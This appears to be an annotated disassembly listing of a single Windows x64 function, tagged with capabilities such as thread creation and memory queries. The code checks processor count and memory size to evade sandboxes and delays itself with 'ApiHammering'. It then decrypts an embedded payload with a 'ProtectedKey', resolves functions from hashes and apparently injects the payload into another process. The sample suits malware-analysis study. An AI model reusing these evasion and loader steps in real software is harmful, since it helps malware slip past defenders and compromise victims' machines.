Function at 0x1400112c6
Capabilities:
Create thread
Get memory capacity
Get system information on windows
Terminate process

Disassembly:
jmp 0x140012e80
push rbp
push rsi
push rdi
sub rsp, 0x530
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xe0
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001f180]
xor rax, rbp
mov qword [rbp + 0x4f0], rax
lea rcx, [0x1400250a5]
call fcn.1400113f2
nop
call fcn.1400112ad
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov rax, qword [rax + 0x60]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x140012eef
cmp qword [rbp + 8], 0
je 0x140012eef
mov rax, qword [rbp + 0x28]
cmp dword [rax + 0x118], 0xa
je 0x140012ef9
mov eax, 1
jmp 0x1400134ce
mov rax, qword [rbp + 0x28]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov rax, qword [rax]
sub rax, 0x10
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x68], 0
lea rax, [rbp + 0x88]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
lea rcx, [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
nop
cmp dword [rbp + 0xa8], 3
jae 0x140012f4c
mov eax, 0xffffffff
jmp 0x1400134ce
mov dword [rbp + 0xe0], 0x40
mov dword [rbp + 0xe4], 0
mov qword [rbp + 0xe8], 0
mov qword [rbp + 0xf0], 0
mov qword [rbp + 0xf8], 0
mov qword [rbp + 0x100], 0
mov qword [rbp + 0x108], 0
mov qword [rbp + 0x110], 0
mov qword [rbp + 0x118], 0
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
jne 0x140012fd3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n_t____GlobalMemoryStatusEx_Failed_With_Error_:__d__n
call fcn.1400111bd
nop
cmp dword [rbp + 0xe8], 0x80000000
ja 0x140012fe6
xor eax, eax
jmp 0x1400134ce
mov dword [rbp + 0x134], 0
mov dword [rbp + 0x154], 0
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov dword [rbp + 0x134], eax
mov ecx, 0x488
call fcn.140011221
test eax, eax
jne 0x14001301e
mov eax, 0xffffffff
jmp 0x1400134ce
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov dword [rbp + 0x154], eax
mov eax, dword [rbp + 0x134]
mov ecx, dword [rbp + 0x154]
sub ecx, eax
mov eax, ecx
mov edx, eax
lea rcx, str.____ApiHammering_Delayed_Execution_For_:__d__n
call fcn.1400111bd
nop
mov dword [rbp + 0x174], 0
lea rax, [rbp + 0x174]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, 0xffffffffffffffff
lea r8, [fcn.140011221]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x1400130a3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateThread_Failed_With_Error_:__d__n
call fcn.1400111bd
nop
mov eax, 0xffffffff
jmp 0x1400134ce
mov edx, dword [rbp + 0x174]
lea rcx, str.___Thread__d_Was_Created_To_Run_ApiHammering_In_The_Background_n
call fcn.1400111bd
nop
mov qword [rbp + 0x198], 0
lea rdx, [rbp + 0x198]
mov rax, qword [rbp + 0x48]
mov rcx, qword [rax + 0x30]
call fcn.1400111fe
test eax, eax
je 0x1400130e3
cmp qword [rbp + 0x198], 0
jne 0x1400130ed
mov eax, 1
jmp 0x1400134ce
mov qword [rbp + 0x1b8], 0
lea r9, [rbp + 0x1b8]
mov r8d, 0x20
lea rdx, [0x14001f118]
mov cl, 0x24
call fcn.140011474
nop
mov r8d, 0x20
mov rdx, qword [rbp + 0x1b8]
lea rcx, str.ProtectedKey
call fcn.140011479
nop
lea rax, section..data
mov qword [rbp + 0x1d8], rax
mov dword [rbp + 0x1f4], 0x114
mov r9d, dword [rbp + 0x1f4]
mov r8d, 0x20
mov rdx, qword [rbp + 0x1d8]
mov rcx, qword [rbp + 0x1b8]
call fcn.140011181
test eax, eax
jne 0x140013174
mov eax, 0xffffffff
jmp 0x1400134ce
mov qword [rbp + 0x218], 0
mov qword [rbp + 0x238], 0
mov qword [rbp + 0x68], 0
mov dword [rbp + 0x254], 0
mov qword [rbp + 0x278], 0
mov eax, dword [rbp + 0x1f4]
mov dword [rbp + 0x298], eax
mov dword [rbp + 0x29c], 0
mov dword [rbp + 0x2b4], 6
movsxd rax, dword [rbp + 0x2b4]
mov qword [rbp + 0x4e8], rax
mov eax, 0x10
mov rcx, qword [rbp + 0x4e8]
mul rcx
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x2d8], rax
cmp qword [rbp + 0x2d8], 0
jne 0x140013222
lea rcx, [0x14001c340]
call fcn.1400111bd
nop
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
nop
xor edx, edx
movabs rcx, 0x2329e81ac5d1497a
call fcn.14001142e
mov ecx, 0x10
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x2d8]
lea rdi, [rdx + rcx]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
xor edx, edx
movabs rcx, 0x2014d82f702e79d4
call fcn.14001142e
mov ecx, 0x10
imul rcx, rcx, 1
mov rdx, qword [rbp + 0x2d8]
lea rdi, [rdx + rcx]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
xor edx, edx
movabs rcx, 0xbb4a946a27b93797
call fcn.14001142e
mov ecx, 0x10
imul rcx, rcx, 2
mov rdx, qword [rbp + 0x2d8]
lea rdi, [rdx + rcx]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
xor edx, edx
movabs rcx, 0xf56ea80ef5031e7
call fcn.14001142e
mov ecx, 0x10
imul rcx, rcx, 3
mov rdx, qword [rbp + 0x2d8]
lea rdi, [rdx + rcx]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
xor edx, edx
movabs rcx, 0x8866eb7e75145f1a
call fcn.14001142e
mov ecx, 0x10
imul rcx, rcx, 4
mov rdx, qword [rbp + 0x2d8]
lea rdi, [rdx + rcx]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
xor edx, edx
movabs rcx, 0xce67f958e7fb4666
call fcn.14001142e
mov ecx, 0x10
imul rcx, rcx, 5
mov rdx, qword [rbp + 0x2d8]
lea rdi, [rdx + rcx]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov qword [rbp + 0x2f8], 0
mov r9, qword [rbp + 0x2d8]
lea r8, [rbp + 0x2f8]
mov rdx, qword [rbp + 0x198]
mov rax, qword [rbp + 0x48]
mov rcx, qword [rax + 0x30]
call fcn.140011113
test eax, eax
jne 0x140013377
mov eax, 1
jmp 0x1400134ce
mov dword [rbp + 0x314], 0
jmp 0x140013391
mov eax, dword [rbp + 0x314]
inc eax
mov dword [rbp + 0x314], eax
cmp dword [rbp + 0x314], 6
jge 0x1400133e5
movsxd rax, dword [rbp + 0x314]
imul rax, rax, 0x10
mov rcx, qword [rbp + 0x2d8]
mov rdx, qword [rcx + rax]
lea rcx, str.Value:__llu_n
call fcn.1400111bd
nop
movsxd rax, dword [rbp + 0x314]
imul rax, rax, 0x10
mov rcx, qword [rbp + 0x2d8]
movzx eax, word [rcx + rax + 8]
mov edx, eax
lea rcx, str.Value:__llu_n
call fcn.1400111bd
nop
jmp 0x140013383
xor eax, eax
mov word [rbp + 0x334], ax
mov rax, qword [rbp + 0x2d8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x298]
lea r8, [rbp + 0x218]
mov rdx, qword [rbp + 0x198]
mov rcx, qword [rbp + 0x48]
call fcn.140011177
mov qword [rbp + 0x358], 0
mov rax, qword [rbp + 0x2d8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x278]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x68]
lea r8, [rbp + 0x218]
mov rdx, qword [rbp + 0x198]
mov rcx, qword [rbp + 0x48]
call fcn.1400112bc
mov eax, dword [rbp + 0x1f4]
mov r8d, eax
mov rdx, qword [rbp + 0x1d8]
mov rcx, qword [rbp + 0x68]
call fcn.1400111db
nop
mov rax, qword [rbp + 0x2d8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x68]
lea r8, [rbp + 0x238]
mov rdx, qword [rbp + 0x198]
mov rcx, qword [rbp + 0x48]
call fcn.140011195
nop
mov r9, qword [rbp + 0x2d8]
lea r8, [rbp + 0x218]
mov rdx, qword [rbp + 0x198]
mov rcx, qword [rbp + 0x48]
call fcn.14001113b
nop
call qword [sym.imp.ucrtbased.dll_getchar]
nop
mov rcx, qword [rbp + 0x2d8]
call qword [sym.imp.ucrtbased.dll_free]
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001c250]
call fcn.14001137a
mov rax, rdi
mov rcx, qword [rbp + 0x4f0]
xor rcx, rbp
call fcn.1400111d6
lea rsp, [rbp + 0x500]
pop rdi
pop rsi
pop rbp
ret